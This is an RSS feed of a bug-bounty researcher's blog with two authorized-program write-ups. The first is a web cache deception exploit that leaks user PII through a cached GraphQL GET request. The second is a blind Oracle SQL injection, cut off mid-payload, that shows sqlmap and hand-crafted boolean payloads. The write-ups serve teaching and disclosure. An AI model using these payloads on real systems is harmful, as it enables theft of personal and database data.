<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Posts on kuldeepdotexe&#39;s blog</title>
    <link>https://kuldeep.io/posts/</link>
    <description>Recent content in Posts on kuldeepdotexe&#39;s blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en</language>
    <lastBuildDate>Fri, 29 Dec 2023 14:55:26 +0530</lastBuildDate><atom:link href="https://kuldeep.io/posts/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Cache Deception Without Path Confusion</title>
      <link>https://kuldeep.io/posts/web-cache-deception-without-path-confusion/</link>
      <pubDate>Fri, 29 Dec 2023 14:55:26 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/web-cache-deception-without-path-confusion/</guid>
      <description>Hello readers,
Today, we’ll talk about a unique case of a cache deception vulnerability that I found in one of the Synack Red Team targets. I call this particular case of cache deception vulnerability unique because unlike the usual cache deception exploits, this exploit did not rely on path confusion.
Unlike my other blogs, I have decided to explain some of the basics in this one because the little details are fascinating!</description>
      <content>&lt;p&gt;Hello readers,&lt;/p&gt;
&lt;p&gt;Today, we’ll talk about a unique case of a cache deception vulnerability that I found in one of the Synack Red Team targets. I call this particular case of cache deception vulnerability unique because unlike the usual cache deception exploits, this exploit did not rely on path confusion.&lt;/p&gt;
&lt;p&gt;Unlike my other blogs, I have decided to explain some of the basics in this one because the little details are fascinating!&lt;/p&gt;
&lt;p&gt;Let’s break down the blog into smaller chunks so that we can take one bite at a time.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#the-basics&#34;&gt;The Basics&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#path-confusion&#34;&gt;Path Confusion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#web-caching&#34;&gt;Web Caching&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#cache-keys&#34;&gt;Cache Keys&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#web-cache-deception&#34;&gt;Web Cache Deception&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#discovery&#34;&gt;Discovery&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#exploit&#34;&gt;Exploit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#limitations&#34;&gt;Limitations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#wcd-on-a-synack-target&#34;&gt;WCD On A Synack Target&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#initial-observations&#34;&gt;Initial Observations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/web-cache-deception-without-path-confusion/#crafting-the-exploit&#34;&gt;Crafting The Exploit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;the-basics&#34;&gt;The Basics&lt;/h1&gt;
&lt;p&gt;Before going to the specifics of the vulnerability, I would like to elaborate more on the terminologies and techniques that we will use in this blog.&lt;/p&gt;
&lt;h2 id=&#34;path-confusion&#34;&gt;Path Confusion&lt;/h2&gt;
&lt;p&gt;Path confusions occur when the application is not configured properly to distinguish between different paths. In a nutshell— it is when two different paths are interpreted as the same path by the application. Similar to what happens in a hash collision.&lt;/p&gt;
&lt;p&gt;Let’s take an example. Suppose you request the following URL:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;https://kuldeep.io/account/billing
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Everything is okay and you go to the billing page of your account. Now, you visit a second URL:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;https://kuldeep.io/account/billing/nonexistent.js
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In an ideal scenario, visiting this URL should result in a &lt;code&gt;404 Not Found&lt;/code&gt; because the JS file that we requested does not exist on the web server.&lt;/p&gt;
&lt;p&gt;However, due to a misconfiguration in how the application processes paths/routes, the application takes you to the billing page of your account.&lt;/p&gt;
&lt;p&gt;This is path confusion— two different paths interpreted as the same.&lt;/p&gt;
&lt;p&gt;So many talks on a topic that I did not even use in my final exploit.&lt;/p&gt;
&lt;h2 id=&#34;web-caching&#34;&gt;Web Caching&lt;/h2&gt;
&lt;p&gt;Processing webpages is a resource-intensive task. When you send a request to, for example, a server running PHP, the server runs the PHP code and provides you with the response.&lt;/p&gt;
&lt;p&gt;This is useful in cases when you are working with dynamic data like user profile information or financial information. However, you do not want the server to process requests to the homepage, or a header/footer, or a static file because as we discussed earlier, it is a resource-intensive task.&lt;/p&gt;
&lt;p&gt;Static files might not take that many resources as compared to the application code but the server still needs to process those requests one-by-one.&lt;/p&gt;
&lt;p&gt;This problem can be solved using &lt;strong&gt;web caching&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Web caching is when a front-end server caches the response and serves it to the visitors of the website without relying on the back-end server. This can be explained with the following illustration:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/web-caching.png&#34; alt=&#34;web caching.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;When a response is served from the cache, you will likely see the following response headers indicating this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;X-Cache: HIT
X-CDN-Cache: HIT
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A &lt;strong&gt;HIT&lt;/strong&gt; means that the response is served from the cache. When it is the otherwise, you will see a &lt;strong&gt;MISS&lt;/strong&gt; instead of &lt;strong&gt;HIT&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Please note that the response header names are likely to vary.&lt;/p&gt;
&lt;p&gt;How does the front-end server know when to cache the request? It makes use of &lt;strong&gt;cache keys&lt;/strong&gt;!&lt;/p&gt;
&lt;h2 id=&#34;cache-keys&#34;&gt;Cache Keys&lt;/h2&gt;
&lt;p&gt;Cache keys are a number of factors that determine whether or not the request will be cached. Usually, cache keys comprise the URL, the user agent, and the user region. Cache keys can be customized to cache based on specific conditions.&lt;/p&gt;
&lt;p&gt;Different front-end servers have different mechanisms for configuring cache keys. Nevertheless, the basic concept stays the same.&lt;/p&gt;
&lt;h2 id=&#34;web-cache-deception&#34;&gt;Web Cache Deception&lt;/h2&gt;
&lt;p&gt;In the &lt;strong&gt;Web Caching&lt;/strong&gt; section, we saw that the front-end server can be configured to cache specific responses. This raises a question— &lt;em&gt;what if we cache responses that should not be cached?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Usually, only the static resources are cached. But if we could somehow cache the responses that contain sensitive data like cookies or session identifiers or JSON Web Tokens or PII, it would be awesome or scary depending on what side you are on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Web Cache Deception&lt;/strong&gt; attacks occur when an attacker forces the front-end server to cache sensitive data and then retrieve it from the cache.&lt;/p&gt;
&lt;h3 id=&#34;discovery&#34;&gt;Discovery&lt;/h3&gt;
&lt;p&gt;The very first step towards discovering a WCD vulnerability is to log in to the target application as a normal user and make notes of interesting endpoints.&lt;/p&gt;
&lt;p&gt;What makes an endpoint interesting? Well, it highly depends on the nature of the application. For example, if it is a betting application, maybe knowing how many bets you have made might be interesting. If it is a banking application, most of the endpoints might be interesting because you do not want anyone to know your bank details. All-in-all, we can all agree that all endpoints that disclose PII are sensitive.&lt;/p&gt;
&lt;p&gt;While doing this, make sure that the endpoints that you come across are using &lt;strong&gt;cookies&lt;/strong&gt; as the authentication mechanism instead of bearer tokens. Why is this important will be covered in the exploitation section.&lt;/p&gt;
&lt;p&gt;Once you have a vast list of interesting endpoints, you can check for path confusion misconfigurations. While doing this, check the response for cache-related headers to see if you see any cache &lt;strong&gt;HIT&lt;/strong&gt;s.&lt;/p&gt;
&lt;p&gt;For this, I would suggest reading this awesome write-up by &lt;a href=&#34;https://twitter.com/bxmbn&#34;&gt;Bombon&lt;/a&gt;: &lt;a href=&#34;https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9&#34;&gt;https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;If you see any cache HITs in the interesting endpoints, it can likely be exploited.&lt;/p&gt;
&lt;p&gt;Why do we see cache HITs? Because front-end servers might be configured to cache JS files, CSS files, images, etc. And because we are using path confusion, the front-end server will treat it as a JS file or a CSS depending on what extension you chose. However, the backend server will treat it as a normal request because routing is misconfigured.&lt;/p&gt;
&lt;h3 id=&#34;exploit&#34;&gt;Exploit&lt;/h3&gt;
&lt;p&gt;Once you have found that an interesting endpoint is resulting in a cache HIT, it is time to craft the exploit.&lt;/p&gt;
&lt;p&gt;Let’s assume that we have found that &lt;code&gt;[https://kuldeep.io/account/billing/nonexistent.js](https://kuldeep.io/account/billing/nonexistent.js)&lt;/code&gt; results in a cache HIT. We have also confirmed that the web application is using cookies as the authentication mechanism. Let’s convert this to an exploit.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Send this URL to the victim: &lt;a href=&#34;https://kuldeep.io/account/billing/nonexistent.js&#34;&gt;https://kuldeep.io/account/billing/nonexistent.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Once the victim visits the URL from his/her authenticated session, the backend server will respond with the billing information. The front-end server will cache the response because it believes that the response is coming from a JS file and JS files should be cached.&lt;/li&gt;
&lt;li&gt;The attacker will retrieve the billing information by visiting the &lt;a href=&#34;https://kuldeep.io/account/billing/nonexistent.js&#34;&gt;https://kuldeep.io/account/billing/nonexistent.js&lt;/a&gt; URL. Because the response has been cached, the attacker will receive a cached copy from the front-end server. This cached copy includes all the billing information of the victim.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here, if the application used bearer tokens, we cannot exploit this by simply sending the URL to the victim. It would require an XSS to exploit. And if you already have an XSS, there is no point exploiting WCD.&lt;/p&gt;
&lt;h3 id=&#34;limitations&#34;&gt;Limitations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WCD will not work if the user isn’t logged in.&lt;/li&gt;
&lt;li&gt;It will not work if the application is using bearer tokens as the authentication mechanism.&lt;/li&gt;
&lt;li&gt;In some configurations, the cache will only be served if you are in the same region as the victim.&lt;/li&gt;
&lt;li&gt;If you accidentally visit the URL that you sent to the victim, the victim will receive the cached copy instead of you.&lt;/li&gt;
&lt;li&gt;Even if you get the victim to cache his/her response, the cache may get invalidated after a few seconds or minutes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that we have covered the basics, let’s move to the WCD vulnerability that I found in one of the Synack targets.&lt;/p&gt;
&lt;h1 id=&#34;wcd-on-a-synack-target&#34;&gt;WCD On A Synack Target&lt;/h1&gt;
&lt;h2 id=&#34;initial-observations&#34;&gt;Initial Observations&lt;/h2&gt;
&lt;p&gt;I was onboarded to a target where some SRTs had already submitted some vulnerabilities like information disclosures and a few access controls.&lt;/p&gt;
&lt;p&gt;I connected to the target and started traversing the application like a normal user. Wherever possible, I was checking for SQL injections. While doing this, I noticed the static files were served from a GraphQL API. This was unusual.&lt;/p&gt;
&lt;p&gt;I checked what API the application used for dynamic data. To my surprise, it used the same GraphQL API for both, static and dynamic data.&lt;/p&gt;
&lt;p&gt;To retrieve static content, the application used a URL like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/ui-gateway/v1/graphql?query=query{somequery{someattribute}}&amp;amp;reqIdentifier=someReqIdentifier
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the response header, I noticed that the responses were being cached. I came to this conclusion by seeing the following headers:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;X-Served-By: cache-iad-somethingrandom-IAD
X-Cache: HIT
X-Cache-Hits: 1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To retrieve dynamic content, the application sent a &lt;strong&gt;POST&lt;/strong&gt; request to the GraphQL API. Unlike the GET requests, the POST requests did not get cached.&lt;/p&gt;
&lt;p&gt;I thought about converting the POST requests to GET requests to see if they got cached. For this, I used an &lt;strong&gt;interesting&lt;/strong&gt; query that is as follows:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-graphql&#34; data-lang=&#34;graphql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;query&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;userDetails&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    authStatus {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      authType
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      email
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      firstName
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      lastName
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      roles
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      userId
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      userLogin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      birthDate
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      isUnderAgeUser
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    geoLocation
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This query returns the PII of the currently logged-in user.&lt;/p&gt;
&lt;p&gt;I converted it to a GET request. The final URL looked like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/ui-gateway/v1/graphql?query=query{userDetails{authStatus{authType email firstName lastName roles userId userLogin birthDate isUnderAgeUser}geoLocation}}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Excited to see the results, I visited the URL from the browser and checked if the response was cached. Sadly, it was not cached. I could not see any cache HITs.&lt;/p&gt;
&lt;p&gt;This made me wonder, &lt;em&gt;how are requests to static queries being cached while dynamic queries aren’t&lt;/em&gt;. I sent both of the requests to Burp Suite comparer to see if any special headers determined if the request was cached.&lt;/p&gt;
&lt;p&gt;While doing this, I found a crucial parameter that I had overlooked. The &lt;code&gt;reqIdentifier&lt;/code&gt; parameter.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;reqIdentifier&lt;/code&gt; parameter determined if the request would be cached or not. It was in the cache key. If two requests have the same &lt;code&gt;reqIdentifier&lt;/code&gt; parameter, they would be treated as the same requests by the front-end server.&lt;/p&gt;
&lt;h2 id=&#34;crafting-the-exploit&#34;&gt;Crafting The Exploit&lt;/h2&gt;
&lt;p&gt;Now that I had a way to get sensitive information cached, I just had to craft an exploit. A malicious URL that I would send to the victim to get his/her PII cached.&lt;/p&gt;
&lt;p&gt;I used the previous &lt;code&gt;userDetails&lt;/code&gt; query that I had used in a GET request and appended the &lt;code&gt;reqIdentifier&lt;/code&gt; parameter. Sending this parameter made sure that the request will be cached.&lt;/p&gt;
&lt;p&gt;The final exploit URL looked like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/ui-gateway/v1/graphql?query=query{userDetails{authStatus{authType email firstName lastName roles userId userLogin birthDate isUnderAgeUser}geoLocation}}&amp;amp;reqIdentifier=exploitMe
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For a proof-of-concept, I opened two browser windows. One was with a logged-in session (victim session), and the other was an incognito window (attacker session).&lt;/p&gt;
&lt;p&gt;I opened the exploit URL from the logged-in session. This made sure that the PII was cached by the front-end server. By visiting the URL just once, the front-end server cached the response.&lt;/p&gt;
&lt;p&gt;I then opened the same URL from the incognito window and I was greeted with the victim account’s PII. This way, without any sort of authentication, I was able to access a victim account’s confidential details.&lt;/p&gt;
&lt;p&gt;I created an easy-to-follow PoC for this exploit and sent it to Synack. And they happily accepted the vulnerability.&lt;/p&gt;
&lt;p&gt;Thank you for reading. If you have any queries or doubts, feel free to ping me on &lt;a href=&#34;https://twitter.com/kuldeepdotexe&#34;&gt;X&lt;/a&gt;, &lt;a href=&#34;http://instagram.com/kuldeepdotexe&#34;&gt;Instagram&lt;/a&gt;, or &lt;a href=&#34;https://www.linkedin.com/in/kuldeep-pandya-13a26a167/&#34;&gt;LinkedIn&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;references-and-further-reading&#34;&gt;References And Further Reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online&#34;&gt;https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://portswigger.net/research/practical-web-cache-poisoning&#34;&gt;https://portswigger.net/research/practical-web-cache-poisoning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://bxmbn.medium.com/chaining-cache-deception-poisoning-250ec69774c8&#34;&gt;https://bxmbn.medium.com/chaining-cache-deception-poisoning-250ec69774c8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developers.cloudflare.com/cache/cache-security/cache-deception-armor/&#34;&gt;https://developers.cloudflare.com/cache/cache-security/cache-deception-armor/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.varnish-software.com/glossary/what-is-web-caching/&#34;&gt;https://www.varnish-software.com/glossary/what-is-web-caching/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Happy Hacking! :)&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Defeating Length Filters to Dump the Database - SQLi</title>
      <link>https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/</link>
      <pubDate>Wed, 06 Dec 2023 20:39:44 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/</guid>
      <description>Hello, hackers!
Most SQL injections I find are very trivial and do not require a separate blog post.
However, this particular SQL injection was far from being straightforward. It required me to work more than 13 hours to successfully dump the database. Although some of the tricks that I used for this SQL injection are not new and can be found with a bit of Google search, I learned them the hard way.</description>
      <content>&lt;p&gt;Hello, hackers!&lt;/p&gt;
&lt;p&gt;Most SQL injections I find are very trivial and do not require a separate blog post.&lt;/p&gt;
&lt;p&gt;However, this particular SQL injection was far from being straightforward. It required me to work more than 13 hours to successfully dump the database. Although some of the tricks that I used for this SQL injection are not new and can be found with a bit of Google search, I learned them the hard way.&lt;/p&gt;
&lt;p&gt;This blog post aims to share with the community what I learned along the way. I will cover my entire thought process and journey from detection to full exploitation of the SQL injection. I hope this walkthrough will be helpful to someone who encounters a similar challenge.&lt;/p&gt;
&lt;p&gt;For convenience’s sake, this blog will be organized into sections.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#discovery&#34;&gt;Discovery&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#running-sqlmap-and-discovering-the-balanced-query&#34;&gt;Running SQLMap And Discovering The Balanced Query&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#discovering-length-filter&#34;&gt;Discovering Length Filter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#dumping-the-database-name&#34;&gt;Dumping The Database Name&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#dumping-the-table-name&#34;&gt;Dumping The Table Name&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#finding-a-way-to-use-limits-and-offsets&#34;&gt;Finding A Way To Use Limits And Offsets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#finding-the-shortest-possible-payload&#34;&gt;Finding The Shortest Possible Payload&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#successfully-dumping-table-names&#34;&gt;Successfully Dumping Table Names&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#guessing-column-names&#34;&gt;Guessing Column Names&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://kuldeep.io/posts/defeating-length-filters-to-dump-the-database-sqli/#dumping-the-rows&#34;&gt;Dumping The Rows&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Strap in for an in-depth look at SQL injections and the methods used.&lt;/p&gt;
&lt;h3 id=&#34;discovery&#34;&gt;Discovery&lt;/h3&gt;
&lt;p&gt;A new target was onboarded to me on the Synack Red Team platform. However, it was an old target launched under a new name. No surprise there.&lt;/p&gt;
&lt;p&gt;While this target was previously onboarded, I sent a few SQLis. Because of this, I was certain that I could find more SQLis this time.&lt;/p&gt;
&lt;p&gt;As usual, I browsed the application like a normal user and checked the requests that the application sent. I tested each request manually for SQL injections.&lt;/p&gt;
&lt;p&gt;The &amp;ldquo;manual testing&amp;rdquo; part for me is mostly injecting special characters into different parameters and observing the behavior of the application.&lt;/p&gt;
&lt;p&gt;While testing for SQL injection on a particular request, I noticed the following behavior:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Payload&lt;/th&gt;
&lt;th&gt;Response Length&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;422k Bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&#39;&lt;/td&gt;
&lt;td&gt;33k Bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lsquo;&amp;ndash; -&lt;/td&gt;
&lt;td&gt;33k Bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lsquo;)&amp;ndash; -&lt;/td&gt;
&lt;td&gt;422k Bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Note: The first value is nothing. It is the normal response the application would send.&lt;/p&gt;
&lt;p&gt;This was intriguing behavior. It looked like a potential SQL injection. I tried a few more SQLi payloads, but I couldn’t find the right payload for it.&lt;/p&gt;
&lt;h3 id=&#34;running-sqlmap-and-discovering-the-balanced-query&#34;&gt;Running SQLMap And Discovering The Balanced Query&lt;/h3&gt;
&lt;p&gt;To find the correct query, I sent the request to &lt;a href=&#34;https://github.com/sqlmapproject/sqlmap&#34;&gt;SQLMap&lt;/a&gt;. SQLMap successfully discovered the SQL injection and gave me the query that would give me a boolean response.&lt;/p&gt;
&lt;p&gt;It gave me the following payload:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;123&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (SELECT (CASE WHEN (4747=4747) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,4747) END) FROM DUAL) IS NULL OR &amp;#39;&lt;/span&gt;iTjZ&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;tEus
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;payload-explanation&#34;&gt;Payload Explanation&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;SELECT (...) FROM DUAL&lt;/code&gt;: This is just a simple &lt;code&gt;SELECT&lt;/code&gt; query that encapsulates the underlying &lt;code&gt;CASE...WHEN&lt;/code&gt; statement.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CASE WHEN (condition) THEN &amp;lt;true statement&amp;gt; ELSE &amp;lt;false statement&amp;gt; END&lt;/code&gt;: This section is the most important as &lt;code&gt;CASE...WHEN&lt;/code&gt; will execute a &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt; statement based on the condition. It is similar to the classic &lt;code&gt;if…else&lt;/code&gt; in different programming languages.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4747=4747&lt;/code&gt;: This is an always true condition as 4747 is always equal to 4747.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CTXSYS.DRITHSX.SN(1,4747)&lt;/code&gt;: This is a function call to an internal Oracle DBMS function. I could not find much documentation about the function. But in this payload, this function should respond with an error message.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, the payload checks if 4747 is equal to 4747 (which is true) then it selects &lt;code&gt;NULL&lt;/code&gt; and compares &lt;code&gt;NULL&lt;/code&gt; with &lt;code&gt;NULL&lt;/code&gt; (which is also true). This will result in a true response.&lt;/p&gt;
&lt;p&gt;If we wanted to receive a false response, we would replace &lt;code&gt;4747=4747&lt;/code&gt; with &lt;code&gt;4747=4848&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I now had a working payload. I tried to enumerate the databases using SQLMap. However, SQLMap failed to enumerate the databases.&lt;/p&gt;
&lt;p&gt;I was not surprised by this behavior because, during my initial enumeration, I noticed that the server correctly filtered out some characters. These characters included but were not limited to the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Due to these character filters, SQLMap was unable to enumerate the databases. I decided to do the database dumping by hand.&lt;/p&gt;
&lt;p&gt;I simplified the SQLMap&amp;rsquo;s payload to the following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;123&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    SELECT (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    	CASE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        	WHEN (1=1) THEN NULL
